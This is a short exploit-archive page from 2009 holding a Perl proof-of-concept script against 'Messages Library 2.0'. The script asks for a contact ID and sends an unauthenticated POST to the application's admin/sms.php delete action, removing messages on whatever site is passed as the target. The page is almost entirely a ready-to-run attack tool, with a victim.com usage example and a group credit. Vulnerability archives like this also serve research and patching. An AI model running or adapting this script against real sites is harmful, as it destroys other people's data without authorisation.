Home / os / win10

messageslib-delete.txt

Posted on 02 July 2009

#!/usr/bin/perl -w
#  Messages Library 2.0 <=  Arbitrary Delete Message
########################################
#[*] Founded &  Exploited by : Stack
########################################
print "		############################################################

";
print "		#   Messages Library 2.0 <=  Arbitrary Delete Message      #

";
print "		#                          by Stack                        #

";
print "		############################################################

";
use LWP::UserAgent;
die "Example: perl $0 http://victim.com/path/
" unless @ARGV;
print "
[!] ContactID : ";
chomp(my $id=<STDIN>);
$b = LWP::UserAgent->new() or die "Could not initialize browser
";
$b->agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');
$host = $ARGV[0] . "/admin/sms.php?Action=Delete&ID=".$id."";
$res = $b->request(HTTP::Request->new(POST=>$host));
print "
Brought to you by v4-team.com...
";
print "
[+] Message Deleted 
";

 

TOP